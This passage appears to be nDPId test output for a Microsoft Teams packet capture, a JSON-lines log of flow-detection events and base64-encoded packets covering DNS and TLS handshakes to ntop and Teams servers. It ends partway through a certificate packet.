+00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1249,"source":"teams.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1587041682809,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60546,"dst_port":4434,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1249,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":809173,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+gHAqAEGp2PXpOyCEVImrEWfAAAAALAC\/\/+rgAAAAgQFtAEDAwUBAQgKMISwIQAAAAAEAgAA"} +00426{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":852443,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wtBAADEGD0WifRODwKgBBgG767gSqyKIi6a9ZYAQAWh8ogAAAQEICpHNoxswhK\/j"} +00426{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":853827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wtFAADEGD0SifRODwKgBBgG767gSqyKIi6bC+YAQAWh3DAAAAQEICpHNoxwwhK\/k"} +00426{"flow_id":31,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1289,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":854555,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wtJAADEGD0OifRODwKgBBgG767gSqyKIi6bIjYAQAWhxdwAAAQEICpHNox0whK\/k"} +00426{"flow_id":31,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1290,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":854567,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wtNAADEGD0KifRODwKgBBgG767gSqyKIi6bOIYAQAWdr5AAAAQEICpHNox0whK\/k"} +00426{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1291,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":855429,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wtRAADEGD0GifRODwKgBBgG767gSqyKIi6bTtYAQAWhmTgAAAQEICpHNox4whK\/k"} +00426{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1292,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":856185,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wtVAADEGD0CifRODwKgBBgG767gSqyKIi6bZSYAQAWhguQAAAQEICpHNox8whK\/k"} +00437{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1298,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":862686,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGBganY9ekwKgBBhFS7ILLfLe3JqxFoKAS\/ogNbwAAAgQFrAQCCAoTeRnVMISwIQEDAwc="} +00424{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1299,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":862738,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+g3AqAEGp2PXpOyCEVImrEWgy3y3uIAQECwqYQAAAQEICjCEsFATeRnV"} +01123{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1300,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":863165,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAG+AjAqAEGp2PXpOyCEVImrEWgy3y3uIAYECxutgAAAQEICjCEsFATeRnVFgMBAgABAAH8AwOllRwzFBLD2fGS0RdMQwmyeJX+rt9niSTc6LgefMaOGyDe8bvsDQaKZ\/SHTClTSUEpcKfm8tnRcB\/XxmDM4wjf0gByEwITAxMBwCzAMACfzKnMqMyqwCvALwCewCTAKABrwCPAJwBnwArAFAA5wAnAEwAzAK0Aq8yuzK3MrACdAKnMqwCsAKoAnACoAD0APMA4wDYAtwCzAJUAkQA1AK8AjcA3wDUAtgCyAJQAkAAvAK4AjAD\/AQABQQAAABIAEAAADWRhdGkubnRvcC5vcmcACwAEAwABAgAKAAwACgAdABcAHgAZABgAIwAAM3QAAAAQAA4ADAJoMghodHRwLzEuMQAWAAAAFwAAAA0AMAAuBAMFAwYDCAcICAgJCAoICwgECAUIBgQBBQEGAQMDAgMDAQIBAwICAgQCBQIGAgArAAkIAwQDAwMCAwEALQACAQEAMwAmACQAHQAgvrFq4xkMZjK7jeeGFDXjFBVctkvDk2bUa2GIO\/qlb3oAFQB8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00836{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1300,"source":"teams.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":4,"flow_first_seen":1587041682809,"flow_last_seen":1587041682863,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60546,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dati.ntop.org","ja3":"7120d65624bcd2e02ed4b01388d84cdb","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00424{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1344,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":917091,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wZNAADQGRHqnY9ekwKgBBhFS7ILLfLe4JqxHpYAQAfo2WAAAAQEIChN5GgswhLBQ"} +00634{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1345,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":917561,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"KDc3AG3IEBMx8Tl2CABFAADMwZRAADQGQ+GnY9ekwKgBBhFS7ILLfLe4JqxHpYAYAfqVNQAAAQEIChN5GgwwhLBQFgMDAGACAABcAwNj9DFW90uUp62kpYH0gZzusgJkAmnNdPklOGghCxgYwCDe8bvsDQaKZ\/SHTClTSUEpcKfm8tnRcB\/XxmDM4wjf0sAwAAAU\/wEAAQAAEAALAAkIaHR0cC8xLjEUAwMAAQEWAwMAKMmzRIH47MLZIGbvoCJbTEvrZpOUBHnePc1mxcuJT5HZCR1Sfyp+RIk="} +00890{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1345,"source":"teams.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":6,"flow_first_seen":1587041682809,"flow_last_seen":1587041682917,"flow_tot_l4_data_len":881,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":146,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60546,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dati.ntop.org","ja3":"7120d65624bcd2e02ed4b01388d84cdb","ja3s":"410b9bedaf65dd26c6fe547154d60db4","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00424{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1346,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":917621,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+g3AqAEGp2PXpOyCEVImrEely3y4UIAQECcnXwAAAQEICjCEsIMTeRoM"} +00494{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1348,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":918603,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"EBMx8Tl2KDc3AG3ICABFAABnAABAAEAG+drAqAEGp2PXpOyCEVImrEely3y4UIAYECcphgAAAQEICjCEsIQTeRoMFAMDAAEBFgMDAChs678blRqlXKUex844yXqkDF719MGcqIK3P4stu596NYJ2PZbeVYuz"} +00423{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1413,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":10449,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wZVAADQGRHinY9ekwKgBBhFS7ILLfLhQJqxH2IAQAfo0+wAAAQEIChN5GmkwhLCE"} +01723{"flow_id":32,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1414,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":10530,"pkt_caplen":1021,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1021,"pkt_l4_len":987,"pkt":"EBMx8Tl2KDc3AG3ICABFAAPvAABAAEAG9lLAqAEGp2PXpOyCEVImrEfYy3y4UIAYECdxHwAAAQEICjCEsNsTeRppFwMDAyds678blRqlXbuRkaoWIOM2vBK\/GiLY86XxBxfqP2D9sr\/G+ZebOQIk4724QYnkThDJTDT+SIF1KwECFCn4YJGmBvPPD6cT55yRvc8XE38Vr\/8zBRQp7n+c\/Au0fPrtw9bDpJJd9UeieHzdSWcUDImwRxVT0FTXAUVS1q6l2t24ZuMwyiSqWAETyapm6EjUw3W9YjYlauUHoKHEOk4HSxUeAMxfHZoCPis9OD+mT33JU821vikltW8KJsyDg1Zbk\/tkjXx06bZhBQzTnmtP0Gpp7t11FTTMWRXohDGFBqqBkduPCIqattSO1m7NKgMd\/CgU3UJ2gyplvgAbPBMwlHoAqY\/7Fq4Anq2ykULypnGECEopo50xq48UHO+KctRkiHcBylyjqFBvEhuFEJbcRnkLhPe3qMy4qjFfWtGrLMJ0k8Y+jZvQhAk0FLz6TJWXCBF9d4V6usLGQmdTlgdkMb9ZGneN+pFRibhDwufvOZKosVuZeBZ+lfQZD4oO\/izUcbqdo2OV8xTYa+JTjzuWsWWrQxEbUClcHWjZi4\/QYMAoxtNBcJtn5h\/Rrkwz1N+8W3EQOeA6hzKJOCqlUjJSmxoQg3WDrxX5xMq6M7QhXPTuWx6N+FWBcGM7CXGJPBVWx6q2tO+06hI0k7i9stdhfXnR4SJWgDYRcCHjbkfxF\/xi7knd5hrgJ1hgqzpOe8g4IdLYBQZescm0TT3+I2QQqbJSZfLeNk9C4lXGL8XEQIdSOO3NPZqxBW3Z2XYN9x0gsuwIcyL3JL3qPeCBNPebepaO+X1ILog4q9HLPNpxwHjba7V\/eONksadHNQf1EakVi0FsRDJYf\/9uYLkoaMyLrJrK6x3qMsKak7VjHchh2RE1x4Jc8nvR7fuK7dw2ryKEzLwuSQYonC97QkyRxTbvud\/azxX8FCPmrJ746rH1kA\/OnDsXsVXC5vtae07MTgRuXJq7V7i2cOG\/Z\/np0eGkIi0h1DxYUQjALZAq4PilfeTMkNS+3FlPtvrG1BecEcIiMR6q7bLuh7OneBZW8WtO1DPUkpcCymgUV1R6IWD54osy1iIwL1FDjX8XAwMAimzrvxuVGqVejT11xPUN5B57ybelp1+nEDUKa54BxJUtVQ4A4BERq5T2cklQEPuisHqaLniF816V2\/w3XYnBrvKKu65t4Yk1fHp5PM7QjtnynVju5kKLEoAxED368fEEqEd7CSCaOHYz7Y6ARtfqhgDYmoWH77vOyeiJQ0OhSI09ayWgsbp0VHQnAg=="} +00424{"flow_id":32,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1433,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":59472,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0wZZAADQGRHenY9ekwKgBBhFS7ILLfLhQJqxLk4AQAfUwvQAAAQEIChN5GpowhLDb"} +02085{"flow_id":32,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1441,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":134358,"pkt_caplen":1292,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1292,"pkt_l4_len":1258,"pkt":"KDc3AG3IEBMx8Tl2CABFAAT+wZdAADQGP6ynY9ekwKgBBhFS7ILLfLhQJqxLk4AYAfWd3AAAAQEIChN5GuQwhLDbFwMDBMXJs0SB+OzC2msrk3HDfuo1F9oSu2tMpdc5amiX3sP3+HF3T+eUlrMKwLu5vpRX2sY6Qgb2AfcqUJbzNahAcjl+AgBrxnDW3IzmBx1GjxIf54xU7CDOWBB6h2asl5Y0jc+NBtT4wwHKlGK7aTIDJNKtZpQBrtKu+wC1wThAEhnwiJCMcZrlw3JmUaM8hAcPWiv+P2f4HU7kVuR6SWFtZOY\/fBG6AA4hICINInUXNSPR\/9S0jS0+Tu+TIJ\/unj8qEMubqIQCh\/V448Q5nnpg+m97oZrqoHkU1CldcnFv99miigRKhMTB8UhJojHRmQkNNuSqkYUg1wt2+YPyuyggI93J3CSs68a0sNXTEXI8hPLWv745fuMVK+GzYpn3QIWpwecAc8ojwFk3sYFYGc6Kr3niKjvleeE9wyMd31MixrWRPeRyiEuUWD42A1y13fLADAszjc75ai96VXjLbCKwl0noyJq882kPNRilUNVn3DopZ1sxVJmeonQsuho+5bzSM5XTbWli5afK8uq4VkO1JTnH+QCaWxMcc3coahz2TQstp35Riylbla3PZIwtYbAltxp9HvMr2YRvetAhN583PQgyTcSglBA9VLQMuqlDS+Yp5l8M6wZyJzO21eJigfJi1o\/n0C6Jl9pe7P96S2qxZwHKbeC+ollOwzuEsW6W2euMv5Bty7uHkH95xBMzwiarDmQ+o1Ei+q2YXDkKmEFKmLcmSoD1gJV0NJfr5r7g39mk42G6pLB1NBDrBN71b4WG1g\/5u0a3rqw0V9i7QnL9BlX8fxEEmTnz9iZZ3YLsygkbuA7AHtVSjftrngTxt6ZxhwkU\/9bPSsV5zngK7DqCVeqwznry2Ak1K69ATi4hxBM6vJm4J5azYrQKBdtWCpMP6MD86FiPSrAXBunH0b4hPq5tzuqdO0D+jBbTb4Wuyuo2mJh3Wdi0GgAny77koSTNopgL0vMBX\/vxnEJDucvwdPHZyocOBrw+JRn9zmCrcQ0Y9Q0ezNl4QGHwMISpDuDI3rn5Latk4ocMu5N0vMsbOO1\/gQG9gmVcYiZsj3DHKbeczYMtV72zfzt4zMH0+e6uu8iTq60uJMXwyI30UG5fzVxRJ4j\/UD4W6mchwCwMr6q8+gd6YplByjwds617qOLrlHt36ra5Pk7X2fO+uom00juBLnsnSYzThqYa7AtStu7Ns8fxifn\/O6P+gzFrmtBjaHQA\/1xx17u3yi7XFhplKfr0jTUgN4p9G9TDE1YDvXCLgzdejZdoinUNYt+hdtAOR181o9OXHQQ+xZ\/Iv3h2AhVNwBkYN5nU8A1alX8Z3DnlAKQt\/+z+XcHUI6niPCc2ejcpuzXcezHBSBFte4gprIQQh03wzDWXI8qpvQafa7vTvNS+kOicPxL+ziFk1R29VK\/Tlcj\/S6eX9KExxqzooyHpqkZQzSaFvny7YFcXNSIa65RZq2MYCDgk\/dnxWHjsRaDEqCSAKbU2Fq986vwayL1+sL\/Zf1k26dI2qd3cUitCRLJhXhcARrcLsJcnB0d07VW1y7nmsSoLB3uoEg6LNbIgzreGXNOpkcDmj7mkRp8bmBxNM5VFiS++mkDQD2K+9dRHKpWlfUBTooQQQ3cD6RayBt1mpz8="} +00425{"flow_id":32,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1442,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":134460,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+g3AqAEGp2PXpOyCEVImrEuTy3y9GoAQEAAdJgAAAQEICjCEsVMTeRrk"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1443,"source":"teams.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1587041683142,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":57504,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1443,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":142905,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"EBMx8Tl2KDc3AG3ICABFAABOVgkAAP8R4j3AqAEGwKgBAeCgADUAOmwyTTEBAAABAAAAAAAACmNoYXRzdmNhZ2cEc3ZjcwV0ZWFtcwZvZmZpY2UDY29tAAABAAE="} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1443,"source":"teams.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1587041683142,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":57504,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"chatsvcagg.svcs.teams.office.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00635{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1452,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":184989,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"KDc3AG3IEBMx8Tl2CABFAADQTcNAADkRcALAqAEBwKgBBgA14KAAvAAATTGBgAABAAMAAAAACmNoYXRzdmNhZ2cEc3ZjcwV0ZWFtcwZvZmZpY2UDY29tAAABAAHADAAFAAEAAAAMACoVdGVhbXMtY2hhdHN2Y2FnZy1wcm9kDnRyYWZmaWNtYW5hZ2VyA25ldADAPgAFAAEAAAEsADAWbXNnLXVrc28tMDEtY2hhdHN2Y2FnZwd1a3NvdXRoCGNsb3VkYXBwBWF6dXJlwCnAdAABAAEAAAAFAAQ0clg7"} +00683{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1452,"source":"teams.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":2,"flow_first_seen":1587041683142,"flow_last_seen":1587041683184,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":58,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":123,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":57504,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"chatsvcagg.svcs.teams.office.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.88.59"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1453,"source":"teams.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1587041683186,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.88.59","src_port":60547,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1453,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":186164,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG7FzAqAEGNHJYO+yDAbslAEUuAAAAALAC\/\/+uKgAAAgQFtAEDAwUBAQgKMISxhQAAAAAEAgAA"} +00436{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1454,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":220355,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8HR9AAG0GokE0clg7wKgBBgG77INQlxoFJQBFL6ASIAAufwAAAgQFoAEDAwgEAggKAdQEQDCEsYU="} +00424{"flow_id":34,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1455,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":220462,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG7GjAqAEGNHJYO+yDAbslAEUvUJcaBoAQEAltDgAAAQEICjCEsaYB1ARA"} +00728{"flow_id":34,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1456,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":220741,"pkt_caplen":287,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":287,"pkt_l4_len":253,"pkt":"EBMx8Tl2KDc3AG3ICABFAAERAABAAEAG64vAqAEGNHJYO+yDAbslAEUvUJcaBoAYEAkhLAAAAQEICjCEsaYB1ARAFgMBANgBAADUAwMl\/B1Vk9A1CXIA2wtxg6SSBUkcTlC\/1\/z0\/eteey4O7gAAHJqazKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACP2toAAP8BAAEAAAAAIwAhAAAeY2hhdHN2Y2FnZy50ZWFtcy5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAICgoAHQAXABgAGwADAgACSkoAAQA="} +00742{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1456,"source":"teams.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":4,"flow_first_seen":1587041683186,"flow_last_seen":1587041683220,"flow_tot_l4_data_len":369,"flow_min_l4_data_len":32,"flow_max_l4_data_len":253,"flow_avg_l4_data_len":92,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.88.59","src_port":60547,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"chatsvcagg.teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02359{"flow_id":34,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1463,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041683,"pkt_ts_usec":257226,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHSFAAG0GnKc0clg7wKgBBgG77INQlx+mJQBGDIAQBAUMBAAAAQEICgHUBF0whLGmFMuT5WpzTDiCSYT3xi9v6V14KwZXMAsGA1UdDwQEAwIEsDApBgNVHREEIjAggh5jaGF0c3ZjYWdnLnRlYW1zLm1pY3Jvc29mdC5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDEuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDEuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly9